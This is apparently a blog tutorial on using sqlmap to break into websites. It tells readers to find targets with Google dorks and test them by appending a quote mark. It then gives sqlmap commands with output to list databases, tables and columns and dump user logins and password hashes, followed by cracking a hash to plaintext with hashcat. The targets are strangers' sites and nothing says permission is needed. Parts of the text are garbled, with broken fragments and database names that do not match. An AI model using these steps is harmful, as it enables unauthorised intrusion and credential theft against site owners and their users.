Sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.
It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
sqlmap is able to detect and exploit five different SQL injection types:
SELECTsub-statement, or any other SQL statement whose the user wants to retrieve the output.
UNION ALL SELECT. This technique works when the web application page passes directly the output of the statement
forloop, or similar, so that each line of the query output is printed on the page content.
forconstruct, whereas only the first entry of the query output is displayed.
;) followed by the SQL statement to be executed.
SELECT, like for instance, data definition or data manipulation statements, possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.
This is usually the toughest bit and takes longer than any other step. Those who know how to use Google Dorks know this already, but in case you don’t I have put together a number of strings that you can search in Google.
Just copy and paste any of the lines in Google and Google will show you a number of search results.
A Google dork is an employee who unknowingly exposes sensitive corporate information on the Internet. The word dork is slang for a slow-witted or inept person.
Google dorks put corporate information at risk because they unwittingly create back doors that allow an attacker to enter a network without permission and/or gain access to unauthorized information.
To locate sensitive information, attackers use advanced search strings called Google dork queries.
|Google Dork string Column 1||Google Dork string Column 2||Google Dork string Column 3|
For every string shown above, you will get hundreds of search results. How do you know which is really vulnerable to SQLMAP SQL Injection?
There are multiple ways and I am sure people would argue which one is best but to me, the following is the simplest and most conclusive.
Let’s say you searched using this string inurl:item_id= and one of the Google search result shows a website like this:
Just add a single quotation mark ‘ at the end of the URL. (Just to ensure, ” is a double quotation mark and ” ‘ ” is a single quotation mark).
So now your URL will become like this:
If the page returns an SQL error, the page is vulnerable to SQLMAP SQL Injection. If it loads or redirect you to a different page, move on to the next site in your Google search results page.
See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.
Examples of SQLi Errors from Different Databases and Languages
Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12
Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12
java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
Query failed: ERROR: unterminated quoted string at or near “‘’’”
As you can see from the screenshot above, I’ve found an SQLMAP SQL Injection vulnerable website. Now I need to list all the databases in that Vulnerable database. (this is also called enumerating the number of columns). As I am using SQLMAP, it will also tell me which one is vulnerable.
Run the following command on your vulnerable website.
sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbs
sqlmap = Name of sqlmap binary file
-u = Target URL (e.g. “http://www.gbhackers.com/products_showitem_gbhac.php?item_id=28434”)
–dbs = Enumerate DBMS databases
See screenshot below.
This commands reveals quite a few interesting info:
web application technology: Apache back-end DBMS: MySQL 5.0 [10:55:53] [INFO] retrieved: information_schema [10:55:56] [INFO] retrieved: gbhackers [10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.gbhackers.com'
So, we now have two databases that we can look into. information_schema is a standard database for almost every MYSQL database. So our interest would be in clemcoindustries database.
Now we need to know how many tables this clemcoindustries database got and what are their names. To find out that information, use the following command:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D clemcoindustries --tables
this database got 8 tables.
[10:56:20] [INFO] fetching tables for database: 'gbhackers' [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:56:22] [INFO] the SQL query used returns 8 entries [10:56:25] [INFO] retrieved: item [10:56:27] [INFO] retrieved: link [10:56:30] [INFO] retrieved: other [10:56:32] [INFO] retrieved: picture [10:56:34] [INFO] retrieved: picture_tag [10:56:37] [INFO] retrieved: popular_picture [10:56:39] [INFO] retrieved: popular_tag [10:56:42] [INFO] retrieved: user_info
and of course, we want to check whats inside user_info table using SQLMAP SQL Injection as that table probably contains usernames and passwords.
Now we need to list all the columns on the target table user_info of clemcoindustries database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_i nfo --columns
This returns 5 entries from the target table user_info of clemcoindustries database.
[10:57:16] [INFO] fetching columns for table 'user_info' in database 'gbhackers ' [10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:57:18] [INFO] the SQL query used returns 5 entries [10:57:20] [INFO] retrieved: user_id [10:57:22] [INFO] retrieved: int(10) unsigned [10:57:25] [INFO] retrieved: user_login [10:57:27] [INFO] retrieved: varchar(45) [10:57:32] [INFO] retrieved: user_password [10:57:34] [INFO] retrieved: varchar(255) [10:57:37] [INFO] retrieved: unique_id [10:57:39] [INFO] retrieved: varchar(255) [10:57:41] [INFO] retrieved: record_status [10:57:43] [INFO] retrieved: tinyint(4)
This is exactly what we are looking for … target table user_login and user_password.
SQLMAP SQL Injection makes it Easy! Just run the following command again:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info -C user_login --dump
Guess what, we now have the username from the database:
[10:58:39] [INFO] retrieved: userX [10:58:40] [INFO] analyzing table dump for possible password hashes
We are almost there, we now only need the password for this user. Next shows just that.
You’re probably getting used to on how to use the SQLMAP SQL Injection tool. Use the following command to extract the password for the user.
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info -C user_password --dump
We have hashed password : 24iYBc17xK0e
[10:59:15] [INFO] the SQL query used returns 1 entries [10:59:17] [INFO] retrieved: 24iYBc17xK0e. [10:59:18] [INFO] analyzing table dump for possible password hashes Database: sqldummywebsite Table: user_info [1 entry] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+
But hang on, this password looks funny. This can’t be someone’s password. Someone who leaves their website vulnerable like that just can’t have a password like that.
That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.
I have covered how to decrypt passwords extensively on this Cracking MD5, phpBB, MySQL, and SHA1 passwords with Hashcat on Kali Linux post. If you’ve missed it, you’re missing out a lot.
I will cover it in short here but you should really learn how to use hashcat.
So the hashed password is 24iYBc17xK0e. How do you know what type of hash is that?
Luckily, Kali Linux provides a nice tool and we can use that to identify which type of hash is this. In the command line type in the following command and on prompt paste the hash value:
Excellent. So this is DES(Unix) hash.
First of all, I need to know which code to use for DES hashes. So let’s check that
So it’s either 1500 or 3100. But it was an MYSQL Database, so it must be 1500.
I saved the hash value 24iYBc17xK0e. in the DES.hash file. Following is the command I am running:
Interesting find: Usual Hashcat was unable to determine the code for DES hash. (not in its help menu). However both cudaHashcat and oclHashcat found and cracked the key.
Anyhow, so here’s the cracked password: abc123 24iYBc17xK0e. :abc123
we now even have the password for this user.
A critical remote code execution vulnerability has been patched as part of the Wordpress 6.4.2 version. This vulnerability exists in…
Hackers target email accounts because they contain valuable personal and financial information. Successful email breaches enable threat actors to:- Identity…
PlugX malware is sophisticated in evasion, as it uses the following techniques to avoid detection by antivirus programs, making it…
Hackers exploit Outlook and WinRAR vulnerabilities because these widely used software programs are lucrative targets. Outlook vulnerabilities offer:- Access to…
An unauthenticated Bluetooth keystroke-injection vulnerability that affects Android, macOS, and iOS devices has been discovered. This vulnerability can be exploited…
Atlassian has been discovered with four new vulnerabilities associated with Remote Code Execution in multiple products. The CVEs for these…